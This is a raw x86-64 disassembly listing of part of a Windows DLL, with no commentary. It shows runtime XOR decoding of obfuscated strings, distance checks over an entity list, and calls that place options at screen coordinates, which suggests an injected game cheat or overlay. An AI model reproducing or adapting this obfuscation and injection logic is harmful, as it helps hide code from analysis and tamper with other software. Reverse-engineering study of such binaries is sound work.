xor byte [rbp + 0x1217], 0x39
mov word [rbp + 0x1218], cx
xor cl, 0x3a
xor byte [rbp + 0x1219], 0x3b
mov byte [rbp + 0x1218], cl
lea rcx, [rbp + 0x1210]
mov qword [rsp + 0x28], rsi
mov byte [rbp + 0x1210], 0x42
mov byte [rbp + 0x121a], al
mov qword [rsp + 0x20], rsi
call fcn.18004a5d0
call fcn.180016870
addss xmm0, xmm15
call fcn.180025690
cmp byte [0x1801b85df], sil
mov eax, dword [str.pRS5_ATV_]
mov dword [rbp - 0x54], eax
mov dword [rbp + 0xc38], 0x43b90000
mov dword [rbp + 0xc3c], 0x43c58000
je 0x1800a2ee0
cmp r12d, 2
jl 0x1800a2ea2
movdqa xmm0, xmmword [0x1801bab60]
movdqa xmm15, xmmword [rbp + 0x1de0]
movdqa xmm1, xmm0
punpckldq xmm1, xmm0
movdqa xmm10, xmm0
pmuldq xmm1, xmm14
punpckhdq xmm0, xmm0
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm15
xorps xmm1, xmm0
movd dword [rbp - 0x54], xmm1
jmp 0x1800a2ef2
lea r9, [rbp - 0x54]
mov r8d, esi
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x1800a2eb0
movdqa xmm15, xmmword [rbp + 0x1de0]
movdqa xmm10, xmmword [0x1801bab60]
xor r9d, r9d
lea rdx, [rbp + 0xc38]
mov r8b, 1
lea rcx, [rbp - 0x54]
call fcn.18000fbb0
mov rax, qword [0x18023ff58]
mov rax, qword [rax]
test rax, rax
je 0x1800a31a4
mov rax, qword [rax + 8]
test rax, rax
je 0x1800a31a4
mov r15, qword [0x18023d4d8]
test r15, r15
je 0x1800a31a4
mov r15, qword [r15 + 0x28]
test r15, r15
je 0x1800a31a4
mov r12, qword [r15 + 0x160]
mov edi, esi
movsd xmm0, qword [rax + 0x90]
mov eax, dword [rax + 0x98]
mov r15, qword [r15 + 0x158]
movsd qword [rsp + 0x60], xmm0
mov dword [rsp + 0x68], eax
test r12, r12
je 0x1800a319d
movss xmm7, dword [rsp + 0x68]
movss xmm8, dword [rsp + 0x64]
movss xmm9, dword [rsp + 0x60]
movsd xmm6, qword [0x1801baaa8]
mov r14, qword [r15]
test r14, r14
je 0x1800a3182
movsd xmm2, qword [r14 + 0x90]
movss xmm0, dword [r14 + 0x98]
movaps xmm1, xmm2
movsd qword [rsp + 0x60], xmm2
subss xmm0, xmm7
subss xmm2, xmm9
shufps xmm1, xmm1, 0x55
subss xmm1, xmm8
mulss xmm0, xmm0
mulss xmm2, xmm2
mulss xmm1, xmm1
addss xmm2, xmm1
addss xmm2, xmm0
xorps xmm0, xmm0
ucomiss xmm0, xmm2
ja 0x1800a2ff0
xorps xmm0, xmm0
sqrtss xmm0, xmm2
jmp 0x1800a2ff8
movaps xmm0, xmm2
call sub.api_ms_win_crt_math_l1_1_0.dll_sqrtf
cvtss2sd xmm0, xmm0
comisd xmm6, xmm0
jbe 0x1800a3182
mov rax, qword [r14 + 0x20]
cmp qword [rax + 0x18], 0x49996225
jne 0x1800a3182
mov edx, edi
lea rcx, [rbp + 0x27e0]
call fcn.1800ded80
movzx ecx, byte [0x1801b85e8]
lea rdx, [rbp + 0xdb0]
movsd xmm0, qword [0x1801b85e0]
xor cl, 0x3a
movsd qword [rbp + 0xdb0], xmm0
mov r8, rax
xor byte [rbp + 0xdb1], 0x33
xor byte [rbp + 0xdb2], 0x34
xor byte [rbp + 0xdb3], 0x35
xor byte [rbp + 0xdb4], 0x36
xor byte [rbp + 0xdb5], 0x37
xor byte [rbp + 0xdb6], 0x38
xor byte [rbp + 0xdb7], 0x39
mov byte [rbp + 0xdb8], cl
lea rcx, [rbp + 0x2e48]
mov byte [rbp + 0xdb0], Ordinal_79
call fcn.180054640
lea rcx, [rbp + 0x27e0]
call fcn.180068b30
mov edx, edi
lea rcx, [rbp + 0x2800]
call fcn.1800ded80
cmp qword [rax + 0x18], 0xf
jbe 0x1800a30b8
mov rax, qword [rax]
lea rdx, [0x180240460]
mov rcx, rax
call sub.VCRUNTIME140.dll_strstr
lea rcx, [rbp + 0x2800]
mov rbx, rax
call fcn.180068b30
test rbx, rbx
je 0x1800a3176
cmp dword [0x18023c520], edi
lea rcx, [rbp + 0x2820]
mov edx, edi
mov dword [rbp + 0xc40], esi
sete bl
mov dword [rbp + 0xc44], esi
call fcn.1800ded80
cmp qword [rax + 0x18], 0xf
jbe 0x1800a310c
mov rax, qword [rax]
lea r9, [rbp + 0xc40]
xor r8d, r8d
movzx edx, bl
mov rcx, rax
call fcn.180008210
lea rcx, [rbp + 0x2820]
movzx ebx, al
call fcn.180068b30
test bl, bl
je 0x1800a3176
movsd xmm0, qword [r14 + 0x90]
movss xmm3, dword [r14 + 0x98]
movaps xmm2, xmm0
mov rcx, qword [0x18023d4d0]
movaps xmm1, xmm0
mov dword [rsp + 0x30], esi
shufps xmm2, xmm2, 0x55
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
movsd qword [rsp + 0x60], xmm0
call qword [0x1802400e0]
mov dword [0x18023c520], r13d
lea rcx, [rbp + 0x2e48]
call fcn.180068b30
inc edi
add r15, 0x10
movsxd rax, edi
cmp rax, r12
jb 0x1800a2f92
movss xmm9, dword [0x1801baad8]
mov r12d, dword [reloc.WS2_32.dll_accept]
call fcn.180013c40
call fcn.180006b10
call fcn.180013c40
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0xc48]
addss xmm0, xmm9
mov dword [rbp + 0xc48], 0x44070000
movss dword [rbp + 0xc4c], xmm0
call fcn.1800255f0
movzx ecx, word [0x1801b85f0]
lea rdx, [rbp + 0xc50]
mov eax, dword [0x1801b85ec]
mov r9d, 8
mov dword [rbp + 0x2b8], eax
xor r8d, r8d
movzx eax, byte [0x1801b85f2]
xor byte [rbp + 0x2b9], 0x33
xor al, 0x38
xor byte [rbp + 0x2ba], 0x34
xor byte [rbp + 0x2bb], 0x35
mov word [rbp + 0x2bc], cx
xor cl, 0x36
xor byte [rbp + 0x2bd], 0x37
mov byte [rbp + 0x2bc], cl
lea rcx, [rbp + 0x2b8]
mov dword [rbp + 0xc50], 0x43a00000
mov dword [rbp + 0xc54], 0x4405c000
mov byte [rbp + 0x2b8], Ordinal_79
mov byte [rbp + 0x2be], al
call fcn.18000fbb0
lea rcx, [rbp + 0xc58]
call fcn.180016730
movzx eax, byte [0x1801b8600]
lea rdx, [rbp + 0xc60]
movsd xmm0, qword [0x1801b85f8]
lea rcx, [rbp + 0xdc0]
movsd qword [rbp + 0xdc0], xmm0
xor al, 0x3a
xor byte [rbp + 0xdc1], 0x33
xor r9d, r9d
xor byte [rbp + 0xdc2], 0x34
mov r8b, 1
xor byte [rbp + 0xdc3], 0x35
xor byte [rbp + 0xdc4], 0x36
xor byte [rbp + 0xdc5], 0x37
xor byte [rbp + 0xdc6], 0x38
xor byte [rbp + 0xdc7], 0x39
mov byte [rbp + 0xdc8], al
mov dword [rbp + 0xc60], 0x43a00000
mov dword [rbp + 0xc64], 0x43ed8000
mov byte [rbp + 0xdc0], 0x53
call fcn.180003bf0
mov eax, dword [0x1801b8610]
mov r8d, esi
movsd xmm0, qword [str._A]
mov dword [rbp + 0x1708], eax
movzx eax, byte [0x1801b8614]
mov byte [rbp + 0x170c], al
movsd qword [rbp + 0x1700], xmm0
cmp r12d, 2
jl 0x1800a3411
movdqa xmm0, xmmword [0x1801bab60]
movdqa xmm2, xmm13
movdqa xmm1, xmm0
movd eax, xmm15
punpckldq xmm1, xmm0
movdqa xmm10, xmm0
punpckhdq xmm0, xmm0
mov r8d, 8
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str._A]
xorps xmm1, xmm0
movdqa xmm0, xmm13
movd dword [rbp + 0x1700], xmm1
movdqa xmm1, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm14
punpckldq xmm1, xmm13
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1704]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1704], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1700]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800a3420
xorps xmm0, xmm0
lea rax, [rbp + 0x1700]
xorps xmm1, xmm1
mov r8, r13
movups xmmword [rbp + 0x2840], xmm0
movdqu xmmword [rbp + 0x2850], xmm1
nop
inc r8
cmp byte [rax + r8], sil
jne 0x1800a3470
lea rdx, [rbp + 0x1700]
lea rcx, [rbp + 0x2840]
call fcn.180001340
lea r8, [0x18023c0f8]
lea rdx, [0x18023c0f4]
lea rcx, [rbp + 0x2840]
call fcn.18006e2b0
movzx eax, byte [0x1801b8620]
lea rdx, [0x18023c08b]
movsd xmm0, qword [0x1801b8618]
lea rcx, [rbp + 0xdd0]
movsd qword [rbp + 0xdd0], xmm0
xor al, 0x3a
xor byte [rbp + 0xdd1], 0x33
xor byte [rbp + 0xdd2], 0x34
xor byte [rbp + 0xdd3], 0x35
xor byte [rbp + 0xdd4], 0x36
xor byte [rbp + 0xdd5], 0x37
xor byte [rbp + 0xdd6], 0x38
xor byte [rbp + 0xdd7], 0x39
mov byte [rbp + 0xdd8], al
mov byte [rbp + 0xdd0], Ordinal_79
call fcn.1800031c0
cmp byte [0x1801b8635], sil
mov eax, dword [0x1801b8630]
movsd xmm0, qword [str._VYZ_R]
mov dword [rbp + 0x19b8], eax
movzx eax, word [0x1801b8634]
mov word [rbp + 0x19bc], ax
movsd qword [rbp + 0x19b0], xmm0
je 0x1800a3680
mov r8d, esi
cmp r12d, 2
jl 0x1800a363c
movdqa xmm0, xmmword [0x1801bab60]
movdqa xmm2, xmm13
movdqa xmm1, xmm0
movd eax, xmm15
punpckldq xmm1, xmm0
movdqa xmm10, xmm0
punpckhdq xmm0, xmm0
mov r8d, 8
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str._VYZ_R]
xorps xmm1, xmm0
movdqa xmm0, xmm13
movd dword [rbp + 0x19b0], xmm1
movdqa xmm1, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm14
punpckldq xmm1, xmm13
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x19b4]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x19b4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x19b0]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x1800a3650
lea rdx, [0x18023c08c]
lea rcx, [rbp + 0x19b0]
call fcn.1800031c0
movups xmm0, xmmword [str.hYW_R]
movups xmmword [rbp + 0x1d70], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1800a3810
cmp r12d, 2
jl 0x1800a37cd
movdqa xmmword [rsp + 0x60], xmm15
lea rcx, [rbp + 0x1d74]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x1800a36e0
jmp 0x1800a3810
lea r9, [rbp + 0x1d70]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1800a37e0
lea rdx, [0x18023c08e]
lea rcx, [rbp + 0x1d70]
call fcn.1800031c0
movups xmm0, xmmword [0x1801b8648]
movups xmmword [rbp + 0x1d80], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1800a39a0
cmp r12d, 2
jl 0x1800a395d
movdqa xmmword [rsp + 0x60], xmm15
lea rcx, [rbp + 0x1d84]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x1800a3870
jmp 0x1800a39a0
lea r9, [rbp + 0x1d80]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1800a3970
lea rdx, [0x18023c08d]
lea rcx, [rbp + 0x1d80]
call fcn.1800031c0
call fcn.180006b10
call fcn.180013c40
cmp dword [0x1802402a4], 2
jne 0x1800a4aa5
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0xc68]
addss xmm0, xmm9
mov dword [rbp + 0xc68], 0x43520000
movss dword [rbp + 0xc6c], xmm0
call fcn.1800255f0
mov eax, dword [0x1801b8658]
lea rdx, [rbp + 0xc70]
mov dword [rbp + 0xa0], eax
lea rcx, [rbp + 0xa0]
movzx eax, byte [0x1801b865c]
xor r9d, r9d
xor byte [rbp + 0xa1], 0x33
xor al, 0x36
xor byte [rbp + 0xa2], 0x34
xor r8d, r8d
xor byte [rbp + 0xa3], 0x35
mov byte [rbp + 0xa4], al
mov dword [rbp + 0xc70], 0x43a50000
mov dword [rbp + 0xc74], 0x4405c000
mov byte [rbp + 0xa0], Ordinal_79
call fcn.18000fbb0
movzx eax, byte [0x1801b8670]
mov r8d, esi
movdqa xmm7, xmmword [rbp + 0x1de0]
movdqa xmm6, xmmword [0x1801bab60]
mov dword [rbp + 0xc78], 0x43a00000
mov dword [rbp + 0xc7c], 0x43ed8000
mov byte [rbp + 0x1f30], al
movups xmm0, xmmword [str.aVFCSE]
movups xmmword [rbp + 0x1f20], xmm0
cmp r12d, 2
jl 0x1800a3bb1
movdqa xmmword [rsp + 0x60], xmm7
lea rcx, [rbp + 0x1f24]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a3ac0
cmp r8d, 0x11
jge 0x1800a3bf0
movsxd rax, r8d
lea r9, [rbp + 0x1f20]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x1800a3bc0
xor r9d, r9d
lea rdx, [rbp + 0xc78]
mov r8b, 1
lea rcx, [rbp + 0x1f20]
call fcn.180003bf0
lea rcx, [rbp + 0xc80]
call fcn.180016730
cmp byte [0x1801b868d], sil
movups xmm1, xmmword [str.tFVS]
movss xmm0, dword [rax]
mov eax, dword [str..__4G]
mov dword [rbp + 0x2500], eax
movzx eax, word [0x1801b868c]
mov word [rbp + 0x2504], ax
movss dword [rbp + 0xc88], xmm0
mov dword [rbp + 0xc8c], 0x42200000
movups xmmword [rbp + 0x24f0], xmm1
je 0x1800a3db0
mov r8d, esi
cmp r12d, 2
jl 0x1800a3d71
movdqa xmmword [rsp + 0x60], xmm7
lea rcx, [rbp + 0x24f4]
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a3c80
cmp r8d, 0x16
jge 0x1800a3db0
movsxd rax, r8d
lea r9, [rbp + 0x24f0]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x1800a3d80
lea rdx, [rbp + 0xc88]
lea rcx, [rbp + 0x24f0]
call fcn.180002b60
test al, al
je 0x1800a3dce
mov byte [0x18023c18a], 1
call fcn.180016870
movss xmm8, dword [0x1801a17d4]
addss xmm0, xmm8
call fcn.180025690
lea rcx, [rbp + 0xc90]
call fcn.180016730
movups xmm1, xmmword [0x1801b8690]
movss xmm0, dword [rax]
movups xmmword [rbp + 0x1d90], xmm1
mov dword [rbp + 0xc9c], 0x42200000
psrldq xmm1, 0xf
movd eax, xmm1
movss dword [rbp + 0xc98], xmm0
test al, al
je 0x1800a3f80
cmp r12d, 2
jl 0x1800a3f3b
movdqa xmmword [rsp + 0x60], xmm7
lea rcx, [rbp + 0x1d94]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x1800a3e50
jmp 0x1800a3f80
lea r9, [rbp + 0x1d90]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1800a3f50
lea rdx, [rbp + 0xc98]
lea rcx, [rbp + 0x1d90]
call fcn.180002b60
test al, al
je 0x1800a3f9e
mov byte [0x18023c188], 1
call fcn.180016870
addss xmm0, xmm8
call fcn.180025690
movzx eax, byte [0x1801b86b0]
mov r8d, esi
mov byte [rbp + 0x1f48], al
movups xmm0, xmmword [0x1801b86a0]
movups xmmword [rbp + 0x1f38], xmm0
cmp r12d, 2
jl 0x1800a40e1
movdqa xmmword [rsp + 0x60], xmm7
lea rcx, [rbp + 0x1f3c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a3ff0
cmp r8d, 0x11
jge 0x1800a4120
movsxd rax, r8d
lea r9, [rbp + 0x1f38]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x1800a40f0
lea rdx, [0x18023c189]
lea rcx, [rbp + 0x1f38]
call fcn.1800031c0
lea rcx, [rbp + 0xca0]
call fcn.180016730
movups xmm1, xmmword [0x1801b86b8]
movss xmm0, dword [rax]
movups xmmword [rbp + 0x1db0], xmm1
mov dword [rbp + 0xcac], 0x42200000
psrldq xmm1, 0xf
movd eax, xmm1
movss dword [rbp + 0xca8], xmm0
test al, al
je 0x1800a42d0
cmp r12d, 2
jl 0x1800a428b
movdqa xmmword [rsp + 0x60], xmm7
lea rcx, [rbp + 0x1db4]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
